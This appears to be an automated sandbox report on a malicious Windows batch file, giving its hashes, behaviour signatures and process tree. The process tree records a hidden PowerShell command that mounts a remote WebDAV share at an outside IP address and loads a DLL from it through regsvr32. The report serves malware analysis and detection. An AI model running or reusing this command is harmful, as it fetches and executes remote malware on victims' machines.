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Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 20:22

General

  • Target

    2610330061303096434.bat

  • Size

    20KB

  • MD5

    26cb7372596f6b4f13dd6e0de52724ef

  • SHA1

    407dbb5bff48080ce9122f5b58ea62eccbdf3bcc

  • SHA256

    c30a11af0e29f28223434f063b01b95788eccace4e0deb2a5dd4541c4ccc86b5

  • SHA512

    8466cf87fe0c0706cadabe865f09e657c864a49e5cb86da76b83cf12b8199d70e1cda773cc0498f4927d30f39e33fb6f1ac909eb87ebd687b086588f3088ec98

  • SSDEEP

    384:f/H0WfX6fhZpoCwLQGROitD1ZOuJT6b1zHelt98TML4MRNy:3H0ffbtwLQGHD1IuJT6b1belv84L48E

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2610330061303096434.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\13958144926216.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2848
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2576
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\13958144926216.dll
          3⤵
            PID:2596

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/2848-23-0x000000001B610000-0x000000001B8F2000-memory.dmp

        Filesize

        2.9MB

      • memory/2848-24-0x0000000002790000-0x0000000002798000-memory.dmp

        Filesize

        32KB